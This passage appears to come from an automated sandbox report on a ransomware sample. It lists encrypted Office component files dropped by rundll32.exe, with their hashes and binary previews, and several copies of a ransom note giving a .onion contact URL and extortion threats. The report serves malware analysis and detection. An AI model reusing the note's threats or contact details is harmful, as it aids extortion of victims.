Preview:	..aI.9".lK:.L.....3..y.2l&..9+.>;~./~^5....R.....W.P.Ov.9............!..L.!This program cannot be run in DOS mode....$........F=&^'Su^'Su^'Su..u]'Su^'Ru.'SuSu.u.%SuSu.uo'SuSu.uh'SuSu.u.'Su..~<..jW...O......jF.*. .E...x.>;~./~^5.....T....W.P.Ov.9..+......h...:.......)....................................................`.................................................@...(...LH.I..9".,E:....B..3..y.r.(..)+.N.t.3~^5....R.....W.P.Ov.9.....2..p............................................text....g.......h.................. ..`.rdata...8.......:...l..............@..@b.=..9"..K: s..B..3..t.rl&..9+.>;~.o~^....OR.u..W.^.O..9.4..............@..@.rsrc................^..............@..@.reloc..8............b..............@..B................................L..I.9".lK: ...B..3..y.rl&..9+.>;~./~^5....R.....W.P.Ov.9....................................................................................................................................L..I.9".lK: ...B..3..y.rl&..9+.>;~./~^5

C:\Program Files\Common Files\microsoft shared\ClickToRun\officeinventory.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	620834
Entropy (8bit):	7.164039771413872
Encrypted:	false
SSDEEP:	12288:oWav+ywZgiYzbri/avWiVyjRdE4UjgvUbCWSCM3EkOaKra0wB2hOIGC/:oVpTbri/a/qd0bCWS93EkOaKm0u2IIGA
MD5:	D47E499F7D4FAC3B8D2E9F7D8EA1364A
SHA1:	39686BD25C6E89F9658FC31402BC713015D05DE4
SHA-256:	FECF7263FAF4F50941D9A58D1D02EEE3B3995186106DF71F2040498A98733190
SHA-512:	4E9BC480806C7BE3EC6D5A1FB07FCED86DB9E7AF261059D0DDF7D3FE2DD1330FF56409A3D9E7193EBE97800B318666DD7D1F78AC81457C898EEF8DF75B9730EF
Malicious:	false
Preview:	.'....x.b....&v>AM........S>T....I../..o..:..I...{..P..7l_Y.f.M........!..L.!This program cannot be run in DOS mode....$.......?BLI{#".{#".{#"....q#".....#"....a#".)V&.u#".)V!.q#"..L..y#".c+...Z..T{...T$C.....8....IDw..)\.......4. ].k./.Y..s...:.C.D.W{#..z#"..V .z#".Rich{#".................PE..d...F[.b.........." ........................................................................f...b.v>.]........S>T....I../..o..:..I...s..R..{.WY5g.M....8.... ..8O...P...'..........(...T.......................(.......8............................................text...........J.....x.f...b.v>.M.......2J5..Q.K.....o..:..O...{..P..7l_Y.g...data...0/..........................@....pdata..8O... ...P..................@..@_RDATA.......p.......<..............@..@.rsrc...rx...q.f...b..>.M........S~T.R..,b.L.....:.0@...{.....7l_Y.g.M....@..B........................................................................................................................J}....x.f...b.v>.M........S>T....I../..

C:\Program Files\Common Files\microsoft shared\ClickToRun\officeinventory.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	620834
Entropy (8bit):	7.164039771413872
Encrypted:	false
SSDEEP:	12288:oWav+ywZgiYzbri/avWiVyjRdE4UjgvUbCWSCM3EkOaKra0wB2hOIGC/:oVpTbri/a/qd0bCWS93EkOaKm0u2IIGA
MD5:	D47E499F7D4FAC3B8D2E9F7D8EA1364A
SHA1:	39686BD25C6E89F9658FC31402BC713015D05DE4
SHA-256:	FECF7263FAF4F50941D9A58D1D02EEE3B3995186106DF71F2040498A98733190
SHA-512:	4E9BC480806C7BE3EC6D5A1FB07FCED86DB9E7AF261059D0DDF7D3FE2DD1330FF56409A3D9E7193EBE97800B318666DD7D1F78AC81457C898EEF8DF75B9730EF
Malicious:	false
Preview:	.'....x.b....&v>AM........S>T....I../..o..:..I...{..P..7l_Y.f.M........!..L.!This program cannot be run in DOS mode....$.......?BLI{#".{#".{#"....q#".....#"....a#".)V&.u#".)V!.q#"..L..y#".c+...Z..T{...T$C.....8....IDw..)\.......4. ].k./.Y..s...:.C.D.W{#..z#"..V .z#".Rich{#".................PE..d...F[.b.........." ........................................................................f...b.v>.]........S>T....I../..o..:..I...s..R..{.WY5g.M....8.... ..8O...P...'..........(...T.......................(.......8............................................text...........J.....x.f...b.v>.M.......2J5..Q.K.....o..:..O...{..P..7l_Y.g...data...0/..........................@....pdata..8O... ...P..................@..@_RDATA.......p.......<..............@..@.rsrc...rx...q.f...b..>.M........S~T.R..,b.L.....:.0@...{.....7l_Y.g.M....@..B........................................................................................................................J}....x.f...b.v>.M........S>T....I../..

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4413682
Entropy (8bit):	7.122680873642107
Encrypted:	false
SSDEEP:	49152:gu5nH9a7QQycWgY6qBO9ntLaNxKldPvpgOzxw/MAM5pFf15ag8sV+HvTZY6Kn4a9:RPxctZlzPqO+3u5ag86qeX
MD5:	F9CDB6AE522C9A0209CE2E4D00B1BC5E
SHA1:	D0CF0D9028E6E87F5B17DFAF106F564CF9354127
SHA-256:	762D0611BDD04EB09B8DF8792DCD07FC4032C81A618DC012D7A294016F6106E7
SHA-512:	A3DD5E8C559834AF1DACFA5D9E771B1756D3EBCA82E7706CF57FA4AC387DCDEDE5C46220797FA55309A851AC662D97903B31114789676B204380CE0A9CA4DE9D
Malicious:	false
Preview:	...8.e.PL...ao.NbX/F5D..!4J......-.E.^..p!$..<....JmU..Dj.^.........!..L.!This program cannot be run in DOS mode....$.......Eh.<..{o..{o..{o.q.o..{oaszn..{oas~n*.{oas.n..{oasxn..{o.{}n..{o.#zV.lv?...[..f$."AP<?.U(N%...j..C.>.:....(_f.O...1.1..+J.%....o..{odsyn..{oRich..{o........PE..d...0m.d..........".... ..-.........0p+........@..............................C.....x.D...`..X.8.e.PH..Q.o..bH/F5D.T14J......-.E.^..p!$..f..c.JmU.^D..^...@.<C....C..O....B.X.....:.8...................p.9.(... P..@.............-......H:.@....................text...[.-.......-......X.8.e.PH..q.oi..<N2TD.m.$J.7....-..h.^..p!$..<...J-{.}0+.^.x....`>......>>.............@....pdata..<C....@..D....@.............@..@.didat..`.....B......LB.............@....rsrc.........B..R.8.5OPH..Q.o..bX/.5D.zSQ&..V!.-.I..^q.p{f..<....JmU..D..^..................................................................................................................................X.8.e.PH..Q.o..bX/F5D.T!4J......-.E.

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4413682
Entropy (8bit):	7.122680873642107
Encrypted:	false
SSDEEP:	49152:gu5nH9a7QQycWgY6qBO9ntLaNxKldPvpgOzxw/MAM5pFf15ag8sV+HvTZY6Kn4a9:RPxctZlzPqO+3u5ag86qeX
MD5:	F9CDB6AE522C9A0209CE2E4D00B1BC5E
SHA1:	D0CF0D9028E6E87F5B17DFAF106F564CF9354127
SHA-256:	762D0611BDD04EB09B8DF8792DCD07FC4032C81A618DC012D7A294016F6106E7
SHA-512:	A3DD5E8C559834AF1DACFA5D9E771B1756D3EBCA82E7706CF57FA4AC387DCDEDE5C46220797FA55309A851AC662D97903B31114789676B204380CE0A9CA4DE9D
Malicious:	false
Preview:	...8.e.PL...ao.NbX/F5D..!4J......-.E.^..p!$..<....JmU..Dj.^.........!..L.!This program cannot be run in DOS mode....$.......Eh.<..{o..{o..{o.q.o..{oaszn..{oas~n*.{oas.n..{oasxn..{o.{}n..{o.#zV.lv?...[..f$."AP<?.U(N%...j..C.>.:....(_f.O...1.1..+J.%....o..{odsyn..{oRich..{o........PE..d...0m.d..........".... ..-.........0p+........@..............................C.....x.D...`..X.8.e.PH..Q.o..bH/F5D.T14J......-.E.^..p!$..f..c.JmU.^D..^...@.<C....C..O....B.X.....:.8...................p.9.(... P..@.............-......H:.@....................text...[.-.......-......X.8.e.PH..q.oi..<N2TD.m.$J.7....-..h.^..p!$..<...J-{.}0+.^.x....`>......>>.............@....pdata..<C....@..D....@.............@..@.didat..`.....B......LB.............@....rsrc.........B..R.8.5OPH..Q.o..bX/.5D.zSQ&..V!.-.I..^q.p{f..<....JmU..D..^..................................................................................................................................X.8.e.PH..Q.o..bX/F5D.T!4J......-.E.

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgrschedule.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4980
Entropy (8bit):	7.11987418733449
Encrypted:	false
SSDEEP:	96:gDR2G+bHzmoLO62a6qiVM8tB8QExlgUT/Y4oju1CfWSPbDAS/D7lS:g0G+P7L/2a6qwMmGQE/gUTA4oK1ChjDs
MD5:	34D5B7716F7968B664308FA21E213D5B
SHA1:	CE3E59677DB631296773114D583B3BC12931AECE
SHA-256:	42B3CBFAF3EF840A046AB71880FC0935658C2383E91AD91F9FE4E9750105665C
SHA-512:	B1047404E4CB1C4BA257E9DFF0E7B85389C373A463664675613E913EE560DF837D2BC2C3E7758DD0D85411C1BAD4FBD841917B56DA260049C7CDCC4C576994B6
Malicious:	false
Preview:	..+..T.../...?.L....7)...0....x2t_.7qge....m...eD.%H.e..P......@Q..T].Z/....w.$...[7....-...xut..uq6e....m..(D..bHEeM.M...=.4@y..TQ.N/..=.Y...H7o...=...xnt..tqke....`...eD.#H.e..C...?.5@8..T.../..>.Z...U7p..j...x1t^.jq,e....w...yD.nHIeb.g...p.d@E..T.../..;.H....7/.......xltO..qOe....#..6D.-H.e..S..`.i@...T\.U/......}..._7z..h....x1t_.3q}e....7..6D...H.e.....].R@7..TL.L/...<.]....72......xqt..tqe....#...lD.%H.e..Q.....-@c..T.../....C.....G7`......x`t..nq5e....l...4D.)H.e......).7@b..TL../.. .G....74...?...xqtQ.jq$e....d...D."H.eO.....5.(@7..T.../..:.F....7`...8...x`t..'q6e....w...kD.)HWe......$.7@7..T.../...i.`...G74...7...xwt..tq.e....p..nD.?H.e......4.x@x..TL../...9.Y....7l..'...xqtQ.fq!e....m...yD.>H.e......p./@~..T..L/..=......7`...<...x#t..hqee....m...mD.lH:e......?.+@x..T..L/..../.@....7`...1...xtt..uq e....l..aD.)H.eO.....p.-@g..T.../...(.]...K7`...;...xjt..`qee....`...xD.8H.eO.....<.6@r..T.../.. .]....73..*...xwtQ.jq$e

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgrschedule.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4980
Entropy (8bit):	7.11987418733449
Encrypted:	false
SSDEEP:	96:gDR2G+bHzmoLO62a6qiVM8tB8QExlgUT/Y4oju1CfWSPbDAS/D7lS:g0G+P7L/2a6qwMmGQE/gUTA4oK1ChjDs
MD5:	34D5B7716F7968B664308FA21E213D5B
SHA1:	CE3E59677DB631296773114D583B3BC12931AECE
SHA-256:	42B3CBFAF3EF840A046AB71880FC0935658C2383E91AD91F9FE4E9750105665C
SHA-512:	B1047404E4CB1C4BA257E9DFF0E7B85389C373A463664675613E913EE560DF837D2BC2C3E7758DD0D85411C1BAD4FBD841917B56DA260049C7CDCC4C576994B6
Malicious:	false
Preview:	..+..T.../...?.L....7)...0....x2t_.7qge....m...eD.%H.e..P......@Q..T].Z/....w.$...[7....-...xut..uq6e....m..(D..bHEeM.M...=.4@y..TQ.N/..=.Y...H7o...=...xnt..tqke....`...eD.#H.e..C...?.5@8..T.../..>.Z...U7p..j...x1t^.jq,e....w...yD.nHIeb.g...p.d@E..T.../..;.H....7/.......xltO..qOe....#..6D.-H.e..S..`.i@...T\.U/......}..._7z..h....x1t_.3q}e....7..6D...H.e.....].R@7..TL.L/...<.]....72......xqt..tqe....#...lD.%H.e..Q.....-@c..T.../....C.....G7`......x`t..nq5e....l...4D.)H.e......).7@b..TL../.. .G....74...?...xqtQ.jq$e....d...D."H.eO.....5.(@7..T.../..:.F....7`...8...x`t..'q6e....w...kD.)HWe......$.7@7..T.../...i.`...G74...7...xwt..tq.e....p..nD.?H.e......4.x@x..TL../...9.Y....7l..'...xqtQ.fq!e....m...yD.>H.e......p./@~..T..L/..=......7`...<...x#t..hqee....m...mD.lH:e......?.+@x..T..L/..../.@....7`...1...xtt..uq e....l..aD.)H.eO.....p.-@g..T.../...(.]...K7`...;...xjt..`qee....`...xD.8H.eO.....<.6@r..T.../.. .]....73..*...xwtQ.jq$e

C:\Program Files\Common Files\microsoft shared\ClickToRun\offreg.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	87298
Entropy (8bit):	7.177557853020897
Encrypted:	false
SSDEEP:	1536:lLjQJPrfoX03B+qJFxPsVXfBxFqw0hrxP3mOz:lLjKzs03B+qz+5PFqpdfm8
MD5:	2AA46D5F2E99BF79FE7EC1226675B3FB
SHA1:	15DD078E4E8760D9375D16ADE7533A083D68EAC6
SHA-256:	A195979BA7D31D57919BE194D6E93AB7504F8CE39DF49D256FA289846B8DA811
SHA-512:	4E34AFB37BC5F2E586E2DA986284BC2196DD1828517E7779EDF32FF248767DB90D6E51D4582A108C975FABB08C51C86AB2D113B254561E3FAC3830F6D812C395
Malicious:	false
Preview:	.............:..^.(V.'....I?B.}..<.........Q.bq.K....i{D..B.........!..L.!This program cannot be run in DOS mode....$.......EGQ..&?..&?..&?.ZN;..&?.ZN<..&?..&>.k&?.ZN>..&?.ZN?..&?.ZN7.+&?....0.....3...m.=.)p&....I?B.}..<..@...l..Q.z2.K....i{D.`..........4...................................................... .....`A........................................@1......\3..d.....H.D........:?._..w.'....U?B.....<.........Q.bq.K....i{D).B..%............... ...............................text............................... ..`PAGE....O*.......,.................. ..`..-..w..k...3..:?.^.(R.'....I?B.}...<..>...i..Q.dq.KI...k{D).C.............@....pdata.......P.......$..............@..@.rsrc........`.......,..............@..@.reloc.......p.......0............I....U...3..:?.^.(V.'....I?B.}..<.........Q.bq.K....i{D).B...................................................................................................................................I.......3..:?.^.(V.'....I?B.}..<..

C:\Program Files\Common Files\microsoft shared\ClickToRun\offreg.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	87298
Entropy (8bit):	7.177557853020897
Encrypted:	false
SSDEEP:	1536:lLjQJPrfoX03B+qJFxPsVXfBxFqw0hrxP3mOz:lLjKzs03B+qz+5PFqpdfm8
MD5:	2AA46D5F2E99BF79FE7EC1226675B3FB
SHA1:	15DD078E4E8760D9375D16ADE7533A083D68EAC6
SHA-256:	A195979BA7D31D57919BE194D6E93AB7504F8CE39DF49D256FA289846B8DA811
SHA-512:	4E34AFB37BC5F2E586E2DA986284BC2196DD1828517E7779EDF32FF248767DB90D6E51D4582A108C975FABB08C51C86AB2D113B254561E3FAC3830F6D812C395
Malicious:	false
Preview:	.............:..^.(V.'....I?B.}..<.........Q.bq.K....i{D..B.........!..L.!This program cannot be run in DOS mode....$.......EGQ..&?..&?..&?.ZN;..&?.ZN<..&?..&>.k&?.ZN>..&?.ZN?..&?.ZN7.+&?....0.....3...m.=.)p&....I?B.}..<..@...l..Q.z2.K....i{D.`..........4...................................................... .....`A........................................@1......\3..d.....H.D........:?._..w.'....U?B.....<.........Q.bq.K....i{D).B..%............... ...............................text............................... ..`PAGE....O*.......,.................. ..`..-..w..k...3..:?.^.(R.'....I?B.}...<..>...i..Q.dq.KI...k{D).C.............@....pdata.......P.......$..............@..@.rsrc........`.......,..............@..@.reloc.......p.......0............I....U...3..:?.^.(V.'....I?B.}..<.........Q.bq.K....i{D).B...................................................................................................................................I.......3..:?.^.(V.'....I?B.}..<..

C:\Program Files\Common Files\microsoft shared\ClickToRun\policy.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1435490
Entropy (8bit):	7.080637941046981
Encrypted:	false
SSDEEP:	24576:RbQ9RDa5ib5UMSFwJ7u8YyntMf1Lv/tA3L19gMXBjTqX2vciET7k4HYl/8YzyW45:RM9Q5i0GouZhBPqXkciiw4HDG4g5jhNG
MD5:	2BF3302987884854AA45337015CF1002
SHA1:	3B937E3869438FB0BCF4CBC19880B0CAA5E61810
SHA-256:	84C8EE4FA8867CA03CBF23AD1A3D0BB34420D3B61CC23E36F54A63A336D6458B
SHA-512:	C1BCAB6AB75379BA5A4253B0E1631F02ACEEFFC0A518E560BE2F7517F741AA599B81F6A79AE083770B5E925390EE3D275FFC5DFEBB106377941FAFA6615BDCBE
Malicious:	false
Preview:	....Y....9.Y.s8K\.$>W).Q...;.}..y.O.O.Rs.G..68<.Y.~..\$...f.z........!..L.!This program cannot be run in DOS mode....$........,.~.M.-.M.-.M.-.5j-.M.-.7.,.M.-.7.,.M.-.7.,.M.-.7.,.M.-t?.,.M.-..!.@...Nu...f.....d.\|@@q.-3.......A...hk#Y........!...02.4W.7.-.M.-.Mn-.M.-.7.,.M.-Rich.M.-........PE..d....m.d.........." ... .Z...X.......................................................~E.Y....9.Yw.8K.$>W).Q...;.}..y.O.O.Rs.G..680bK....T!...f.z....................(N......09..@:..T......................(......@............p.. ............................text....Y.......].Z....9.Yw.8K.$>w).1...Z.....$J.O..Rs7.G.J88<.Y.~..\$...g.:.data....o...`...R...N..............@....pdata..............................@..@.didat..0............J..............@....rsrc...5.S.Z....).Yw.-K.$>W).Q...;.}..W.. ..RC..G.#8<.Y.~..\$...g.z....@..B..........................................................................................................................S.Z....9.Yw.8K.$>W).Q...;.}..y.O.O.R

C:\Program Files\Common Files\microsoft shared\ClickToRun\policy.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1435490
Entropy (8bit):	7.080637941046981
Encrypted:	false
SSDEEP:	24576:RbQ9RDa5ib5UMSFwJ7u8YyntMf1Lv/tA3L19gMXBjTqX2vciET7k4HYl/8YzyW45:RM9Q5i0GouZhBPqXkciiw4HDG4g5jhNG
MD5:	2BF3302987884854AA45337015CF1002
SHA1:	3B937E3869438FB0BCF4CBC19880B0CAA5E61810
SHA-256:	84C8EE4FA8867CA03CBF23AD1A3D0BB34420D3B61CC23E36F54A63A336D6458B
SHA-512:	C1BCAB6AB75379BA5A4253B0E1631F02ACEEFFC0A518E560BE2F7517F741AA599B81F6A79AE083770B5E925390EE3D275FFC5DFEBB106377941FAFA6615BDCBE
Malicious:	false
Preview:	....Y....9.Y.s8K\.$>W).Q...;.}..y.O.O.Rs.G..68<.Y.~..\$...f.z........!..L.!This program cannot be run in DOS mode....$........,.~.M.-.M.-.M.-.5j-.M.-.7.,.M.-.7.,.M.-.7.,.M.-.7.,.M.-t?.,.M.-..!.@...Nu...f.....d.\|@@q.-3.......A...hk#Y........!...02.4W.7.-.M.-.Mn-.M.-.7.,.M.-Rich.M.-........PE..d....m.d.........." ... .Z...X.......................................................~E.Y....9.Yw.8K.$>W).Q...;.}..y.O.O.Rs.G..680bK....T!...f.z....................(N......09..@:..T......................(......@............p.. ............................text....Y.......].Z....9.Yw.8K.$>w).1...Z.....$J.O..Rs7.G.J88<.Y.~..\$...g.:.data....o...`...R...N..............@....pdata..............................@..@.didat..0............J..............@....rsrc...5.S.Z....).Yw.-K.$>W).Q...;.}..W.. ..RC..G.#8<.Y.~..\$...g.z....@..B..........................................................................................................................S.Z....9.Yw.8K.$>W).Q...;.}..y.O.O.R

C:\Program Files\Common Files\microsoft shared\ClickToRun\ucrtbase.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key Version 3, Created Wed Jul 15 04:38:04 2037, Unknown Algorithm (0x2d)
Category:	dropped
Size (bytes):	1124122
Entropy (8bit):	7.288061698761257
Encrypted:	false
SSDEEP:	24576:W62Qj/aXzknyZHKLwkY3uWjYRv5RSopzO1/N8Xb5amoZdN39y/a:12eaXrZHCwkAuWcR3SopW/N8+C/a
MD5:	DBA95A4F537E7658EF8624B0DEA9B42B
SHA1:	29294AA95832B4E995294B68B62DCED05830EC6E
SHA-256:	126BF19C35B2F1AAE8546843B1BC763617ACE6BC56ED70BE37E4E33AC5930DD6
SHA-512:	BB65C19BB9838D39EB8F06FB3B1D752ADE84F3040D8AF0CC4FC31BA4FC34E451A3D203E18EBD40BF23F0F24DE72A32EC486D4EB2AA0D44DD9FACA218CD50C4FB
Malicious:	false
Preview:	.....9..-?r.#..:.+U..h..eR.EH.N...\|.Z3YD=..!:rm..8.......@...h........!..L.!This program cannot be run in DOS mode....$........7=iNVS:NVS:NVS:G..:{VS:NVR:.VS:...:OVS:..S;OVS:..P;}VS:..V;.VS:.h8~^j...p...p...g...MR.+4i.......f2...YD=..!:r=..8c&..Q.....h......" .....0...........w....................................................`A.................................................i0.`.9...=?.E#...+e..h..tRq`H.N...X.Z3i.0.b!:rm..8.......@..h.........Z..@..............(............................text...e%.......0.................. ..`.rdata......@.......@...........?.<.9..NLK.A#.o..+U..h.%eR..G.N...\|.Z3YD=.R!:.C..Ys......@..h....................@..@.rsrc...............................@..@.reloc..$...........................@..B.........................?.\|.9..-?.A#.:.+U..h..eR.EH.N...\|.Z3YD=..!:rm..8.......@..h.................................................................................................................................?.\|.9..*-?.A#.:.+U..h..eR.EH.N...\|.Z3

C:\Program Files\Common Files\microsoft shared\ClickToRun\ucrtbase.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key Version 3, Created Wed Jul 15 04:38:04 2037, Unknown Algorithm (0x2d)
Category:	dropped
Size (bytes):	1124122
Entropy (8bit):	7.288061698761257
Encrypted:	false
SSDEEP:	24576:W62Qj/aXzknyZHKLwkY3uWjYRv5RSopzO1/N8Xb5amoZdN39y/a:12eaXrZHCwkAuWcR3SopW/N8+C/a
MD5:	DBA95A4F537E7658EF8624B0DEA9B42B
SHA1:	29294AA95832B4E995294B68B62DCED05830EC6E
SHA-256:	126BF19C35B2F1AAE8546843B1BC763617ACE6BC56ED70BE37E4E33AC5930DD6
SHA-512:	BB65C19BB9838D39EB8F06FB3B1D752ADE84F3040D8AF0CC4FC31BA4FC34E451A3D203E18EBD40BF23F0F24DE72A32EC486D4EB2AA0D44DD9FACA218CD50C4FB
Malicious:	false
Preview:	.....9..-?r.#..:.+U..h..eR.EH.N...\|.Z3YD=..!:rm..8.......@...h........!..L.!This program cannot be run in DOS mode....$........7=iNVS:NVS:NVS:G..:{VS:NVR:.VS:...:OVS:..S;OVS:..P;}VS:..V;.VS:.h8~^j...p...p...g...MR.+4i.......f2...YD=..!:r=..8c&..Q.....h......" .....0...........w....................................................`A.................................................i0.`.9...=?.E#...+e..h..tRq`H.N...X.Z3i.0.b!:rm..8.......@..h.........Z..@..............(............................text...e%.......0.................. ..`.rdata......@.......@...........?.<.9..NLK.A#.o..+U..h.%eR..G.N...\|.Z3YD=.R!:.C..Ys......@..h....................@..@.rsrc...............................@..@.reloc..$...........................@..B.........................?.\|.9..-?.A#.:.+U..h..eR.EH.N...\|.Z3YD=..!:rm..8.......@..h.................................................................................................................................?.\|.9..*-?.A#.:.+U..h..eR.EH.N...\|.Z3

C:\Program Files\Common Files\microsoft shared\ClickToRun\vccorlib140.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	335050
Entropy (8bit):	6.89113124613662
Encrypted:	false
SSDEEP:	6144:cFZZsjBc73bDGVG8T1QgOBl6RWJntEcNpLPbSB76UsUNoEd5X:cFTLbDYdOBlnJtEcNp3FioEHX
MD5:	1F51129F16781AD57C0951A33886F11F
SHA1:	95BE33CD4511DC8B57B79A7147D014C17E94BCA5
SHA-256:	D5536D43FC5EB2DE774145A995DBE0913DE6F23655EDF22B9F1FD1F262C0F516
SHA-512:	879A45DDF3587511D395DB042C9930DDB6737579B36724B7E056EB9897CC8A041F99BBD98B2C2A915FDD5E037BAA1D79D53A807C295C79B69D4BC96702BECC3A
Malicious:	false
Preview:	......!..au.....C.\.......+....tX..E..</....vP....O....CA`"{........!..L.!This program cannot be run in DOS mode....$........)...H..H..H..0\|.H...2..H...2..H...2..H...2..H..I:..H..4.j....mwS.E.&...?..PC#E&......;I..^.I..._G?\_.vP....O....CAa"{PE..d...I9............" ... .....x......P{.......................................0.......)....`A......................................!...v.pP....X..........5pXQ..E..8/53..v@..u.O.S..C1a"{............................@............................................text...6~.......................... ..`.rdata..n............\#..au..n....\........^J...;OtX...E.A</....vP....O....C.a"..pdata... ......."..................@..@.rsrc...............................@..@.reloc..............................@..B..............!..au..n....\......+....tX..E..</....vP....O....CAa"{......................................................................................................................................!..au..n....\......+....tX..E

C:\Program Files\Common Files\microsoft shared\ClickToRun\vccorlib140.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	335050
Entropy (8bit):	6.89113124613662
Encrypted:	false
SSDEEP:	6144:cFZZsjBc73bDGVG8T1QgOBl6RWJntEcNpLPbSB76UsUNoEd5X:cFTLbDYdOBlnJtEcNp3FioEHX
MD5:	1F51129F16781AD57C0951A33886F11F
SHA1:	95BE33CD4511DC8B57B79A7147D014C17E94BCA5
SHA-256:	D5536D43FC5EB2DE774145A995DBE0913DE6F23655EDF22B9F1FD1F262C0F516
SHA-512:	879A45DDF3587511D395DB042C9930DDB6737579B36724B7E056EB9897CC8A041F99BBD98B2C2A915FDD5E037BAA1D79D53A807C295C79B69D4BC96702BECC3A
Malicious:	false
Preview:	......!..au.....C.\.......+....tX..E..</....vP....O....CA`"{........!..L.!This program cannot be run in DOS mode....$........)...H..H..H..0\|.H...2..H...2..H...2..H...2..H..I:..H..4.j....mwS.E.&...?..PC#E&......;I..^.I..._G?\_.vP....O....CAa"{PE..d...I9............" ... .....x......P{.......................................0.......)....`A......................................!...v.pP....X..........5pXQ..E..8/53..v@..u.O.S..C1a"{............................@............................................text...6~.......................... ..`.rdata..n............\#..au..n....\........^J...;OtX...E.A</....vP....O....C.a"..pdata... ......."..................@..@.rsrc...............................@..@.reloc..............................@..B..............!..au..n....\......+....tX..E..</....vP....O....CAa"{......................................................................................................................................!..au..n....\......+....tX..E

C:\Program Files\Common Files\microsoft shared\MSInfo\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\microsoft shared\Stationery\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Common Files\microsoft shared\TextConv\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
